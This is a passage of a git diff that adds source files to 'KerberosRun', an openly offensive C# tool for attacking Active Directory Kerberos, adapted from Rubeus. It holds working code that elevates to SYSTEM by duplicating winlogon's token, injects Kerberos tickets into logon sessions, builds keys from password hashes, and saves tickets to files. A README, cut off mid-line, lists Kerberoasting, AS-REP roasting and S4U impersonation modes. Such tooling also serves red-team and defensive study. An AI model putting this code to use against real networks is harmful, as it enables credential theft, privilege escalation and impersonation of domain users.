Marshal.AllocHGlobal(cbBuffer); + Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer); + } + + public void Dispose() + { + if (pvBuffer != IntPtr.Zero) + { + Marshal.FreeHGlobal(pvBuffer); + pvBuffer = IntPtr.Zero; + } + } + } + + public struct MultipleSecBufferHelper + { + public byte[] Buffer; + public SecBufferType BufferType; + + public MultipleSecBufferHelper(byte[] buffer, SecBufferType bufferType) + { + if (buffer == null || buffer.Length == 0) + { + throw new ArgumentException("buffer cannot be null or 0 length"); + } + + Buffer = buffer; + BufferType = bufferType; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SecBufferDesc : IDisposable + { + + public int ulVersion; + public int cBuffers; + public IntPtr pBuffers; //Point to SecBuffer + + public SecBufferDesc(int bufferSize) + { + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = 1; + SecBuffer ThisSecBuffer = new SecBuffer(bufferSize); + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); + Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); + } + + public SecBufferDesc(byte[] secBufferBytes) + { + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = 1; + SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytes); + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer)); + Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false); + } + + public SecBufferDesc(MultipleSecBufferHelper[] secBufferBytesArray) + { + if (secBufferBytesArray == null || secBufferBytesArray.Length == 0) + { + throw new ArgumentException("secBufferBytesArray cannot be null or 0 length"); + } + + ulVersion = (int)SecBufferType.SECBUFFER_VERSION; + cBuffers = secBufferBytesArray.Length; + + //Allocate memory for SecBuffer Array.... + pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(SecBuffer)) * cBuffers); + + for (int Index = 0; Index < secBufferBytesArray.Length; Index++) + { + //Super hack: Now allocate memory for the individual SecBuffers + //and just copy the bit values to the SecBuffer array!!! + SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytesArray[Index].Buffer, secBufferBytesArray[Index].BufferType); + + //We will write out bits in the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //Note that we won't be releasing the memory allocated by ThisSecBuffer until we + //are disposed... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + Marshal.WriteInt32(pBuffers, CurrentOffset, ThisSecBuffer.cbBuffer); + Marshal.WriteInt32(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer), ThisSecBuffer.BufferType); + Marshal.WriteIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(ThisSecBuffer.cbBuffer) + Marshal.SizeOf(ThisSecBuffer.BufferType), ThisSecBuffer.pvBuffer); + } + } + + public void Dispose() + { + if (pBuffers != IntPtr.Zero) + { + if (cBuffers == 1) + { + SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); + ThisSecBuffer.Dispose(); + } + else + { + for (int Index = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //What we need to do here is to grab a hold of the pvBuffer allocate by the individual + //SecBuffer and release it... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); + Marshal.FreeHGlobal(SecBufferpvBuffer); + } + } + + Marshal.FreeHGlobal(pBuffers); + pBuffers = IntPtr.Zero; + } + } + + public byte[] GetSecBufferByteArray() + { + byte[] Buffer = null; + + if (pBuffers == IntPtr.Zero) + { + throw new InvalidOperationException("Object has already been disposed!!!"); + } + + if (cBuffers == 1) + { + SecBuffer ThisSecBuffer = (SecBuffer)Marshal.PtrToStructure(pBuffers, typeof(SecBuffer)); + + if (ThisSecBuffer.cbBuffer > 0) + { + Buffer = new byte[ThisSecBuffer.cbBuffer]; + Marshal.Copy(ThisSecBuffer.pvBuffer, Buffer, 0, ThisSecBuffer.cbBuffer); + } + } + else + { + int BytesToAllocate = 0; + + for (int Index = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //What we need to do here calculate the total number of bytes we need to copy... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + BytesToAllocate += Marshal.ReadInt32(pBuffers, CurrentOffset); + } + + Buffer = new byte[BytesToAllocate]; + + for (int Index = 0, BufferIndex = 0; Index < cBuffers; Index++) + { + //The bits were written out the following order: + //int cbBuffer; + //int BufferType; + //pvBuffer; + //Now iterate over the individual buffers and put them together into a + //byte array... + int CurrentOffset = Index * Marshal.SizeOf(typeof(SecBuffer)); + int BytesToCopy = Marshal.ReadInt32(pBuffers, CurrentOffset); + IntPtr SecBufferpvBuffer = Marshal.ReadIntPtr(pBuffers, CurrentOffset + Marshal.SizeOf(typeof(int)) + Marshal.SizeOf(typeof(int))); + Marshal.Copy(SecBufferpvBuffer, Buffer, BufferIndex, BytesToCopy); + BufferIndex += BytesToCopy; + } + } + + return (Buffer); + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_INTEGER + { + public uint LowPart; + public int HighPart; + public SECURITY_INTEGER(int dummy) + { + LowPart = 0; + HighPart = 0; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_HANDLE + { + public IntPtr LowPart; + public IntPtr HighPart; + public SECURITY_HANDLE(int dummy) + { + LowPart = HighPart = IntPtr.Zero; + } + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SecPkgContext_Sizes + { + public uint cbMaxToken; + public uint cbMaxSignature; + public uint cbBlockSize; + public uint cbSecurityTrailer; + }; + + + + // functions + // Adapted from Vincent LE TOUX' "MakeMeEnterpriseAdmin" + [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)] + public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum); + + [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)] + public static extern int CDLocateCheckSum(KERB_CHECKSUM_ALGORITHM type, out IntPtr pCheckSum); + + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1753-L1767 + public delegate int KERB_ECRYPT_Initialize(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext); + public delegate int KERB_ECRYPT_Encrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize); + public delegate int KERB_ECRYPT_Decrypt(IntPtr pContext, byte[] data, int dataSize, byte[] output, ref int outputSize); + public delegate int KERB_ECRYPT_Finish(ref IntPtr pContext); + + public delegate int KERB_ECRYPT_HashPassword(UNICODE_STRING Password, UNICODE_STRING Salt, int count, byte[] output); + + //https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1760-L1767 + public delegate int KERB_CHECKSUM_Initialize(int unk0, out IntPtr pContext); + public delegate int KERB_CHECKSUM_Sum(IntPtr pContext, int Size, byte[] Buffer); + public delegate int KERB_CHECKSUM_Finalize(IntPtr pContext, byte[] Buffer); + public delegate int KERB_CHECKSUM_Finish(ref IntPtr pContext); + public delegate int KERB_CHECKSUM_InitializeEx(byte[] Key, int KeySize, int KeyUsage, out IntPtr pContext); + + + [DllImport("Netapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int DsGetDcName( + [MarshalAs(UnmanagedType.LPTStr)] string ComputerName, + [MarshalAs(UnmanagedType.LPTStr)] string DomainName, + [In] int DomainGuid, + [MarshalAs(UnmanagedType.LPTStr)] string SiteName, + [MarshalAs(UnmanagedType.U4)] DSGETDCNAME_FLAGS flags, + out IntPtr pDOMAIN_CONTROLLER_INFO); + + [DllImport("Netapi32.dll", SetLastError = true)] + public static extern int NetApiBufferFree(IntPtr Buffer); + + // LSA functions + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaConnectUntrusted( + [Out] out IntPtr LsaHandle + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaLookupAuthenticationPackage( + [In] IntPtr LsaHandle, + [In] ref LSA_STRING_IN PackageName, + [Out] out int AuthenticationPackage + ); + + [DllImport("kernel32.dll")] + public static extern IntPtr LocalAlloc( + uint uFlags, + uint uBytes + ); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern uint LsaNtStatusToWinError( + uint status + ); + + [DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)] + public static extern uint LsaFreeMemory( + IntPtr buffer + ); + + [DllImport("kernel32.dll", EntryPoint = "CopyMemory", SetLastError = false)] + public static extern void CopyMemory( + IntPtr dest, + IntPtr src, + uint count + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaCallAuthenticationPackage( + IntPtr LsaHandle, + int AuthenticationPackage, + IntPtr ProtocolSubmitBuffer, + int SubmitBufferLength, + out IntPtr ProtocolReturnBuffer, + out int ReturnBufferLength, + out int ProtocolStatus + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern int LsaDeregisterLogonProcess( + [In] IntPtr LsaHandle + ); + + [DllImport("secur32.dll", SetLastError = true)] + public static extern int LsaRegisterLogonProcess( + LSA_STRING_IN LogonProcessName, + out IntPtr LsaHandle, + out ulong SecurityMode + ); + + // for GetSystem() + [DllImport("advapi32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool OpenProcessToken( + IntPtr ProcessHandle, + UInt32 DesiredAccess, + out IntPtr TokenHandle); + + [DllImport("advapi32.dll")] + public static extern bool DuplicateToken( + IntPtr ExistingTokenHandle, + int SECURITY_IMPERSONATION_LEVEL, + ref IntPtr DuplicateTokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool ImpersonateLoggedOnUser( + IntPtr hToken); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool RevertToSelf(); + + [DllImport("kernel32.dll")] + public static extern uint GetLastError(); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool GetTokenInformation( + IntPtr TokenHandle, + TOKEN_INFORMATION_CLASS TokenInformationClass, + IntPtr TokenInformation, + int TokenInformationLength, + out int ReturnLength); + + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool CreateProcessWithLogonW( + String userName, + String domain, + String password, + UInt32 logonFlags, + String applicationName, + String commandLine, + UInt32 creationFlags, + UInt32 environment, + String currentDirectory, + ref STARTUPINFO startupInfo, + out PROCESS_INFORMATION processInformation); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool CloseHandle( + IntPtr hObject + ); + + [DllImport("Secur32.dll", SetLastError = false)] + public static extern int LsaEnumerateLogonSessions( + out UInt64 LogonSessionCount, + out IntPtr LogonSessionList + ); + + [DllImport("Secur32.dll", SetLastError = false)] + public static extern uint LsaGetLogonSessionData( + IntPtr luid, + out IntPtr ppLogonSessionData + ); + + [DllImport("secur32.dll", SetLastError = false)] + public static extern uint LsaFreeReturnBuffer( + IntPtr buffer + ); + + // adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext + [DllImport("secur32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int AcquireCredentialsHandle( + string pszPrincipal, //SEC_CHAR* + string pszPackage, //SEC_CHAR* //"Kerberos","NTLM","Negotiative" + int fCredentialUse, + IntPtr PAuthenticationID,//_LUID AuthenticationID,//pvLogonID,//PLUID + IntPtr pAuthData,//PVOID + int pGetKeyFn, //SEC_GET_KEY_FN + IntPtr pvGetKeyArgument, //PVOID + ref SECURITY_HANDLE phCredential, //SecHandle //PCtxtHandle ref + ref SECURITY_INTEGER ptsExpiry //PTimeStamp //TimeStamp ref + ); + + [DllImport("secur32.dll", SetLastError = true)] + public static extern int InitializeSecurityContext( + ref SECURITY_HANDLE phCredential,//PCredHandle + IntPtr phContext, //PCtxtHandle + string pszTargetName, + int fContextReq, + int Reserved1, + int TargetDataRep, + IntPtr pInput, //PSecBufferDesc SecBufferDesc + int Reserved2, + out SECURITY_HANDLE phNewContext, //PCtxtHandle + out SecBufferDesc pOutput, //PSecBufferDesc SecBufferDesc + out uint pfContextAttr, //managed ulong == 64 bits!!! + out SECURITY_INTEGER ptsExpiry //PTimeStamp + ); + + [DllImport("secur32.dll")] + public static extern int DeleteSecurityContext( + ref SECURITY_HANDLE phContext + ); + + [DllImport("secur32.dll", CharSet = CharSet.Auto)] + public static extern int FreeCredentialsHandle( + [In] ref SECURITY_HANDLE phCredential + ); + + [DllImport("Secur32.dll")] + public static extern int FreeContextBuffer( + ref IntPtr pvContextBuffer + ); + } +} diff --git a/KerberosRun/KerberosRun/Utils/KerberosHashCreds.cs b/KerberosRun/KerberosRun/Utils/KerberosHashCreds.cs new file mode 100644 index 0000000..cfbcb23 --- /dev/null +++ b/KerberosRun/KerberosRun/Utils/KerberosHashCreds.cs @@ -0,0 +1,55 @@ +using Kerberos.NET.Credentials; +using Kerberos.NET.Crypto; +using Kerberos.NET.Entities; +using System; + +namespace KerberosRun.Utils +{ + public class KerberosHashCreds : KerberosCredential + { + private readonly string hash; + private readonly EncryptionType etype; + + public KerberosHashCreds(string username, string hash, EncryptionType etype, string domain = null) + { + if (string.IsNullOrWhiteSpace(username)) + { + throw new ArgumentException("UserName cannot be null", nameof(username)); + } + + if (string.IsNullOrWhiteSpace(hash)) + { + throw new ArgumentException("Hash cannot be null", nameof(hash)); + } + + TrySplitUserNameDomain(username, out username, ref domain); + + UserName = username; + this.hash = hash; + this.etype = etype; + + if (!string.IsNullOrWhiteSpace(domain)) + { + Domain = domain.ToUpperInvariant(); + } + } + public override bool SupportsOptimisticPreAuthentication => false; + + + public override KerberosKey CreateKey() + { + var principalName = new PrincipalName(PrincipalNameType.NT_PRINCIPAL, Domain, new[] { UserName }); + + Byte[] hashbytes = Utils.ToHexByteArray(this.hash); + var salt = ""; + return new KerberosKey( + hashbytes, + null, + principalName, + etype: this.etype, + saltType: SaltType.ActiveDirectoryUser, + salt: salt + ); + } + } +} diff --git a/KerberosRun/KerberosRun/Utils/LSA.cs b/KerberosRun/KerberosRun/Utils/LSA.cs new file mode 100644 index 0000000..4c5a7fc --- /dev/null +++ b/KerberosRun/KerberosRun/Utils/LSA.cs @@ -0,0 +1,326 @@ +//Taken from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/LSA.cs by harmj0y + +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.ComponentModel; + + +namespace KerberosRun +{ + class LSA + { + public static bool IsHighIntegrity() + { + // returns true if the current process is running with adminstrative privs in a high integrity context + WindowsIdentity identity = WindowsIdentity.GetCurrent(); + WindowsPrincipal principal = new WindowsPrincipal(identity); + return principal.IsInRole(WindowsBuiltInRole.Administrator); + } + + + public static bool GetSystem() + { + // helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation + if (IsHighIntegrity()) + { + IntPtr hToken = IntPtr.Zero; + + // Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken + Process[] processes = Process.GetProcessesByName("winlogon"); + IntPtr handle = processes[0].Handle; + + // TOKEN_DUPLICATE = 0x0002 + bool success = Interop.OpenProcessToken(handle, 0x0002, out hToken); + if (!success) + { + //Console.WriteLine("OpenProcessToken failed!"); + return false; + } + + // make a copy of the NT AUTHORITY\SYSTEM token from winlogon + // 2 == SecurityImpersonation + IntPtr hDupToken = IntPtr.Zero; + success = Interop.DuplicateToken(hToken, 2, ref hDupToken); + if (!success) + { + //Console.WriteLine("DuplicateToken failed!"); + return false; + } + + success = Interop.ImpersonateLoggedOnUser(hDupToken); + if (!success) + { + //Console.WriteLine("ImpersonateLoggedOnUser failed!"); + return false; + } + + // clean up the handles we created + Interop.CloseHandle(hToken); + Interop.CloseHandle(hDupToken); + + string name = System.Security.Principal.WindowsIdentity.GetCurrent().Name; + if (name != "NT AUTHORITY\\SYSTEM") + { + return false; + } + + return true; + } + else + { + return false; + } + } + + + public static void ImportTicket(byte[] ticket, LUID targetLuid) + { + // uses LsaCallAuthenticationPackage() with a message type of KERB_SUBMIT_TKT_REQUEST to submit a ticket + // for the current (or specified) logon session + + // straight from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2925-L2971 + + var LsaHandle = IntPtr.Zero; + int AuthenticationPackage; + int ntstatus, ProtocalStatus; + + if ((ulong)targetLuid != 0) + { + if (!IsHighIntegrity()) + { + Console.WriteLine("[X] You need to be in high integrity to apply a ticket to a different logon session"); + return; + } + else + { + var currentName = WindowsIdentity.GetCurrent().Name; + if (currentName == "NT AUTHORITY\\SYSTEM") + { + // if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper + LsaHandle = LsaRegisterLogonProcessHelper(); + } + else + { + // elevated but not system, so gotta GetSystem() first + GetSystem(); + // should now have the proper privileges to get a Handle to LSA + LsaHandle = LsaRegisterLogonProcessHelper(); + // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token + Interop.RevertToSelf(); + } + } + } + else + { + // otherwise use the unprivileged connection with LsaConnectUntrusted + ntstatus = Interop.LsaConnectUntrusted(out LsaHandle); + } + + var inputBuffer = IntPtr.Zero; + IntPtr ProtocolReturnBuffer; + int ReturnBufferLength; + try + { + Interop.LSA_STRING_IN LSAString; + var Name = "kerberos"; + LSAString.Length = (ushort)Name.Length; + LSAString.MaximumLength = (ushort)(Name.Length + 1); + LSAString.Buffer = Name; + ntstatus = Interop.LsaLookupAuthenticationPackage(LsaHandle, ref LSAString, out AuthenticationPackage); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + var request = new Interop.KERB_SUBMIT_TKT_REQUEST(); + request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage; + request.KerbCredSize = ticket.Length; + request.KerbCredOffset = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)); + + if ((ulong)targetLuid != 0) + { + Console.WriteLine("[*] Target LUID: 0x{0:x}", (ulong)targetLuid); + request.LogonId = targetLuid; + } + + var inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_SUBMIT_TKT_REQUEST)) + ticket.Length; + inputBuffer = Marshal.AllocHGlobal(inputBufferSize); + Marshal.StructureToPtr(request, inputBuffer, false); + Marshal.Copy(ticket, 0, new IntPtr(inputBuffer.ToInt64() + request.KerbCredOffset), ticket.Length); + ntstatus = Interop.LsaCallAuthenticationPackage(LsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + if (ProtocalStatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage (ProtocalStatus): {1}", winError, errorMessage); + return; + } + Console.WriteLine("[+] Ticket successfully imported!"); + } + finally + { + if (inputBuffer != IntPtr.Zero) + Marshal.FreeHGlobal(inputBuffer); + Interop.LsaDeregisterLogonProcess(LsaHandle); + } + } + + public static void Purge(LUID targetLuid) + { + // uses LsaCallAuthenticationPackage() with a message type of KERB_PURGE_TKT_CACHE_REQUEST to purge tickets + // for the current (or specified) logon session + + // straight from Vincent LE TOUX' work + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L2925-L2971 + + var lsaHandle = GetLsaHandle(); + int AuthenticationPackage; + int ntstatus, ProtocalStatus; + + if ((ulong)targetLuid != 0) + { + if (!IsHighIntegrity()) + { + Console.WriteLine("[X] You need to be in high integrity to purge tickets from a different logon session"); + return; + } + + } + + var inputBuffer = IntPtr.Zero; + IntPtr ProtocolReturnBuffer; + int ReturnBufferLength; + try + { + Interop.LSA_STRING_IN LSAString; + var Name = "kerberos"; + LSAString.Length = (ushort)Name.Length; + LSAString.MaximumLength = (ushort)(Name.Length + 1); + LSAString.Buffer = Name; + ntstatus = Interop.LsaLookupAuthenticationPackage(lsaHandle, ref LSAString, out AuthenticationPackage); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + + var request = new Interop.KERB_PURGE_TKT_CACHE_REQUEST(); + request.MessageType = Interop.KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage; + + if ((ulong)targetLuid != 0) + { + Console.WriteLine("[*] Target LUID: 0x{0:x}", (ulong)targetLuid); + request.LogonId = targetLuid; + } + + var inputBufferSize = Marshal.SizeOf(typeof(Interop.KERB_PURGE_TKT_CACHE_REQUEST)); + inputBuffer = Marshal.AllocHGlobal(inputBufferSize); + Marshal.StructureToPtr(request, inputBuffer, false); + ntstatus = Interop.LsaCallAuthenticationPackage(lsaHandle, AuthenticationPackage, inputBuffer, inputBufferSize, out ProtocolReturnBuffer, out ReturnBufferLength, out ProtocalStatus); + if (ntstatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ntstatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage: {1}", winError, errorMessage); + return; + } + if (ProtocalStatus != 0) + { + var winError = Interop.LsaNtStatusToWinError((uint)ProtocalStatus); + var errorMessage = new Win32Exception((int)winError).Message; + Console.WriteLine("[X] Error {0} running LsaLookupAuthenticationPackage (ProtocolStatus): {1}", winError, errorMessage); + return; + } + Console.WriteLine("[+] Tickets successfully purged!"); + } + finally + { + if (inputBuffer != IntPtr.Zero) + Marshal.FreeHGlobal(inputBuffer); + Interop.LsaDeregisterLogonProcess(lsaHandle); + } + } + + + + public static IntPtr GetLsaHandle() + { + // returns a handle to LSA + // uses LsaConnectUntrusted() if not in high integrity + // uses LsaRegisterLogonProcessHelper() if in high integrity + + IntPtr lsaHandle; + + if (!IsHighIntegrity()) + { + int retCode = Interop.LsaConnectUntrusted(out lsaHandle); + } + + else + { + lsaHandle = LsaRegisterLogonProcessHelper(); + + // if the original call fails then it is likely we don't have SeTcbPrivilege + // to get SeTcbPrivilege we can Impersonate a NT AUTHORITY\SYSTEM Token + if (lsaHandle == IntPtr.Zero) + { + var currentName = WindowsIdentity.GetCurrent().Name; + + if (currentName == "NT AUTHORITY\\SYSTEM") + { + // if we're already SYSTEM, we have the proper privilegess to get a Handle to LSA with LsaRegisterLogonProcessHelper + lsaHandle = LsaRegisterLogonProcessHelper(); + } + else + { + // elevated but not system, so gotta GetSystem() first + if (!GetSystem()) + { + throw new Exception("Could not elevate to system"); + } + // should now have the proper privileges to get a Handle to LSA + lsaHandle = LsaRegisterLogonProcessHelper(); + // we don't need our NT AUTHORITY\SYSTEM Token anymore so we can revert to our original token + Interop.RevertToSelf(); + } + } + } + + return lsaHandle; + } + + + public static IntPtr LsaRegisterLogonProcessHelper() + { + // helper that establishes a connection to the LSA server and verifies that the caller is a logon application + // used for Kerberos ticket enumeration for ALL users + + var logonProcessName = "User32LogonProcesss"; // yes I know this is "weird" ;) + Interop.LSA_STRING_IN LSAString; + var lsaHandle = IntPtr.Zero; + UInt64 securityMode = 0; + + LSAString.Length = (ushort)logonProcessName.Length; + LSAString.MaximumLength = (ushort)(logonProcessName.Length + 1); + LSAString.Buffer = logonProcessName; + + var ret = Interop.LsaRegisterLogonProcess(LSAString, out lsaHandle, out securityMode); + + return lsaHandle; + } + } +} diff --git a/KerberosRun/KerberosRun/Utils/LUID.cs b/KerberosRun/KerberosRun/Utils/LUID.cs new file mode 100644 index 0000000..43256df --- /dev/null +++ b/KerberosRun/KerberosRun/Utils/LUID.cs @@ -0,0 +1,83 @@ +//Taken from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Interop/Luid.cs by harmj0y + +using System; +using System.Runtime.InteropServices; + +namespace KerberosRun +{ + [StructLayout(LayoutKind.Sequential)] + public struct LUID + { + public UInt32 LowPart; + public Int32 HighPart; + + public LUID(UInt64 value) + { + LowPart = (UInt32)(value & 0xffffffffL); + HighPart = (Int32)(value >> 32); + } + + public LUID(LUID value) + { + LowPart = value.LowPart; + HighPart = value.HighPart; + } + + public LUID(string value) + { + if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^0x[0-9A-Fa-f]+$")) + { + // if the passed LUID string is of form 0xABC123 + UInt64 uintVal = Convert.ToUInt64(value, 16); + LowPart = (UInt32)(uintVal & 0xffffffffL); + HighPart = (Int32)(uintVal >> 32); + } + else if (System.Text.RegularExpressions.Regex.IsMatch(value, @"^\d+$")) + { + // if the passed LUID string is a decimal form + UInt64 uintVal = UInt64.Parse(value); + LowPart = (UInt32)(uintVal & 0xffffffffL); + HighPart = (Int32)(uintVal >> 32); + } + else + { + System.ArgumentException argEx = new System.ArgumentException("Passed LUID string value is not in a hex or decimal form", value); + throw argEx; + } + } + + public override int GetHashCode() + { + UInt64 Value = ((UInt64)this.HighPart << 32) + this.LowPart; + return Value.GetHashCode(); + } + + public override bool Equals(object obj) + { + return obj is LUID && (((ulong)this) == (LUID)obj); + } + + public override string ToString() + { + UInt64 Value = ((UInt64)this.HighPart << 32) + this.LowPart; + return String.Format("0x{0:x}", (ulong)Value); + } + + public static bool operator ==(LUID x, LUID y) + { + return (((ulong)x) == ((ulong)y)); + } + + public static bool operator !=(LUID x, LUID y) + { + return (((ulong)x) != ((ulong)y)); + } + + public static implicit operator ulong(LUID luid) + { + // enable casting to a ulong + UInt64 Value = ((UInt64)luid.HighPart << 32); + return Value + luid.LowPart; + } + } +} diff --git a/KerberosRun/KerberosRun/Utils/Utils.cs b/KerberosRun/KerberosRun/Utils/Utils.cs new file mode 100644 index 0000000..86b8fbe --- /dev/null +++ b/KerberosRun/KerberosRun/Utils/Utils.cs @@ -0,0 +1,83 @@ +using System; +using System.IO; +using System.Text.RegularExpressions; + +namespace KerberosRun.Utils +{ + public static class Utils + { + // From: https://stackoverflow.com/questions/2972103/how-to-convert-a-string-to-a-hex-byte-array + public static byte[] ToHexByteArray(String HexString) + { + int NumberChars = HexString.Length; + byte[] bytes = new byte[NumberChars / 2]; + for (int i = 0; i < NumberChars; i += 2) + { + bytes[i / 2] = Convert.ToByte(HexString.Substring(i, 2), 16); + } + return bytes; + } + + public static byte[] StringToByteArray(string str) + { + System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding(); + return enc.GetBytes(str); + } + + public static string ByteArrayToString(byte[] arr) + { + System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding(); + return enc.GetString(arr); + } + + + //https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Helpers.cs#L46 + public static bool IsBase64String(string s) + { + s = s.Trim(); + return (s.Length % 4 == 0) && Regex.IsMatch(s, @"^[a-zA-Z0-9\+/]*={0,3}$", RegexOptions.None); + } + + + static public string MakeTicketFileName(string username, string[] sname = null) + { + string name; + if (sname == null) + { + name = $"{DateTime.Now:yyyyMMddHHmmss}_" + username + "_TGT.kirbi"; + } + else + { + name = $"{DateTime.Now:yyyyMMddHHmmss}_" + username + "_" + sname[0] + "@" + sname[1] + "_TGS.kirbi"; + } + return name; + } + + //https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Helpers.cs#L311 + static public bool WriteBytesToFile(string filename, byte[] data, bool overwrite = false) + { + bool result = true; + string filePath = Path.GetFullPath(filename); + + try + { + if (!overwrite) + { + if (File.Exists(filePath)) + { + throw new Exception(String.Format("{0} already exists! Data not written to file.\r\n", filePath)); + } + } + File.WriteAllBytes(filePath, data); + Console.WriteLine("[+] Ticket is written to {0}", filePath); + } + catch (Exception e) + { + Console.WriteLine("\r\nException: {0}", e.Message); + result = false; + } + + return result; + } + } +} diff --git a/KerberosRun/KerberosRun/app.config b/KerberosRun/KerberosRun/app.config new file mode 100644 index 0000000..86a946b --- /dev/null +++ b/KerberosRun/KerberosRun/app.config @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/KerberosRun/KerberosRun/packages.config b/KerberosRun/KerberosRun/packages.config new file mode 100644 index 0000000..d7e9bbb --- /dev/null +++ b/KerberosRun/KerberosRun/packages.config @@ -0,0 +1,15 @@ + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/KerberosRun/README.md b/KerberosRun/README.md new file mode 100644 index 0000000..942fd76 --- /dev/null +++ b/KerberosRun/README.md @@ -0,0 +1,36 @@ +# KerberosRun + + + + + Usage: KerberosRun.exe -h + + --Kerberoast Kerberoasting + --User (A valid username) + --Pass (A valid password) + --Domain (A valid domain name) + --SPN (Target SPN for Kerberoasting) + --Verbose + + --Asreproast ASREPRoasting + --User (A valid username that does not require PreAuth) + --Domain (A valid domain name) + --Format Output Hash format (John/Hashcat, Default: Hashcat) + --Verbose + + --S4U2Self Service for User to Self + --User (A valid username that has SPN set) + --Pass (A valid password) + --Domain (A valid domain name) + --ImperonsateUser (A user to impersonate) + --Verbose + + --S4U S4U2Self and S4U2Proxy + --User (A valid username that has SPN set) + --Pass (A 